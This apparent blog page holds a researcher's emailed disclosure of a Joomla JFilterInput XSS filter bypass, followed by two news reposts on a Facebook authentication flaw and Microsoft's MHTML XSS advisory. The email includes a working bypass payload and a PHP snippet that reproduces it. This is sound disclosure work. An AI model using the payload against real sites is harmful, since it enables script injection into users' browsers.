 me@jeffchannell.comThis e-mail address is being protected from spambots. You need JavaScript enabled to view it

Thank you for your email regarding a new vulnerability. We will investigate this as quickly as we can to verify and confirm the details. Once this is completed we will evaluate the complexity and criticality to determine the necessary resources and timing to correct the issue.

Please note: We may contact you for additional details, and/or advise you of the outcome of our investigation.

If this ticket XNT-28157-847 is not replied to within 7 days of Tue, 18 Jan 2011 01:40:20 +0000, it will be automatically closed.

On Sat, 15 Jan 2011 19:38:20 +0000, jeff<

 me@jeffchannell.comThis e-mail address is being protected from spambots. You need JavaScript enabled to view it

 >  wrote:

>  The following string bypasses JFilterInput's "safe" attributes in both

>  1.5 and 1.6:

>

>  <img src="<img src=x"/onerror=alert(1)//">

>

>  Here's a quick way to reproduce: append the following somewhere in the

>  template:

>

>  <?php

>  $test = '<img src="x"/onerror=alert(1)//>'; // will be sanitized

>  $test .= '<img src="<img src=x"/onerror=alert(2)//">'; // will not be

>  sanitized

>  $filter =&  JFilterInput::getInstance(null, null, 1, 1);

>  echo $filter->clean($test);

>  ?>

>

>  The impact of this could be pretty wide, as any extension using this

>  method to sanitize user input is potentially vulnerable. One such

>  example is in 1.6 plg_user_profile "About Me" field.

>

>  TinyMCE will neuter this bypass if attempted in its html source editor

>  or by disabling via the ui button, but this is not a good remedy.

It was well over 7 days, so I guess I'm a jackass for assuming the ticket was closed?

[genebook-blog]

Facebook plugs gnarly authentication flaw

{o.a.}

Security researchers have discovered a flaw that creates a means for a malicious website to grab hold of a Facebook user's private data without their consent as well as to post messages impersonating the user on the social networking website.

The authentication-related bug was discovered by researchers Rui Wang and Zhou Li, who reported the flaw to Facebook last week. The social networking site responded to the report by patching the hole last weekend, and by adding Rui and Zhou to its list of security researchers who have helped make Facebook safer for users.

The vulnerability only worked if a user had visited a malicious web while logged into Facebook and only in social network profiles that allow applications to run, a feature that the vast majority of Facebook users enable. When run successfully, the attack would have potentially embarrassing consequences.

"If the user has ever allowed a website – YouTube, Farmville or ESPN, etc – to connect to Facebook, she will lose her private data to the malicious website, or even enable the website to post phishing messages on Facebook on her behalf," Rui explained.

Information disclosure bugs of this type often stem from web-based attacks, such as cross-site scripting and cross-site request forgery. In this case, however, the vulnerability stems from a bug in one of Facebook’s authentication mechanisms, Rui explained.

    The vulnerability enables the malicious website to impersonate any other websites to cheat Facebook, and obtain the same data access permissions on Facebook those websites receive. Bing.com by default has the permission to access any Facebook users' basic information such as name, gender, etc, so our malicious website is able to de-anonymize the users by impersonating Bing.com. In addition, due to business needs, there are many websites requesting more permissions, including accessing to a user's private data, and publishing content on Facebook on her behalf. Therefore, by impersonating those websites, our website can obtain the same permissions to steal the private data or post phishing messages on Facebook on the user's behalf.

    The exploit is generic, so we do not need to write an exploit for each Facebook app/website. The only parameter we need is the app ID of a Facebook app/website.

The two researchers – who previously discovered a range of side channel attacks involving web apps – have illustrated the attack via a video posted to YouTube that can be found here.

We ran the vulnerability by security experts at Sophos, who confirmed that the vulnerability worked – but only in cases where a Facebook user allows applications. Installation of a browser-based Flash player is another necessary prerequisite in order to pull off the attack.

"Facebook's website is clearly a complex piece of software, and it is almost inevitable that vulnerabilities and bugs will be found from time to time," a security researcher at Sophos explained. "The risk is that there's so much sensitive personal info about users at risk.

"Facebook's security team should be applauded for fixing the vulnerability promptly once it was reported to them," he added. ®

[genebook-blog]

Windows Vulnerable to Zero-Day XSS Attacks

{o.a.}

Microsoft released security advisory 2501696, titled "Vulnerability in MHTML Could Allow Information Disclosure" today. The advisory addresses a flaw in the MHTML protocol handler which opens all versions of Windows to potential cross-site scripting (XSS) attacks.

The Microsoft Security Response Center (MSRC) blog explains how an attack might work in more detail once a user receives a malicious link targeting this vulnerability. "When the user clicked that link, the malicious script would run on the user's computer for the rest of the current Internet Explorer session. Such a script might collect user information (eg., e-mail), spoof content displayed in the browser, or otherwise interfere with the user's experience."

Wolfgang Kandek, CTO of Qualys, describes the issue in more detail on his blog. "The XSS attack can be used to run JavaScript code on the user's Internet Explorer instance, which gives the attacker a way to get at information stored in the browser and a mechanism to trick users into installing unwanted code through social engineering."

Jim Walter, manager of the McAfee Threat Intelligence Service for McAfee Labs, does not believe this is a serious threat--at least not imminently. "The scope and impact is relatively limited compared to other recent zero-day vulnerabilities. Based on the information that is currently available, we are aware that successful exploitation could lead to the running of arbitrary scripts (in the context of the clients IE session), as well as the disclosure of sensitive information."

Andrew Storms, director of security operations for nCircle, e-mailed the following comments. "At first glance today's advisory looks grim because it affects every supported Windows platform. However, even though the proof of concept code is public, carrying out an attack using this complicated cross site scripting-like bug will not be easy," adding, "Because of this, attacks are probably not imminent but users should still follow the mitigation advice in the advisory.

The MSRC blog suggests following the mitigation advice in the security advisory. "The workaround we are recommending customers apply locks down the MHTML protocol and effectively addresses the issue on the client system where it exists."

Kandek provides some incentive for using a browser other than Internet Explorer. "While the vulnerability is located in a Windows component, Internet Explorer is the only known attacker vector. Firefox and Chrome are not affected in their default configuration, as they do not support MHTML without the installation of specific add-on modules."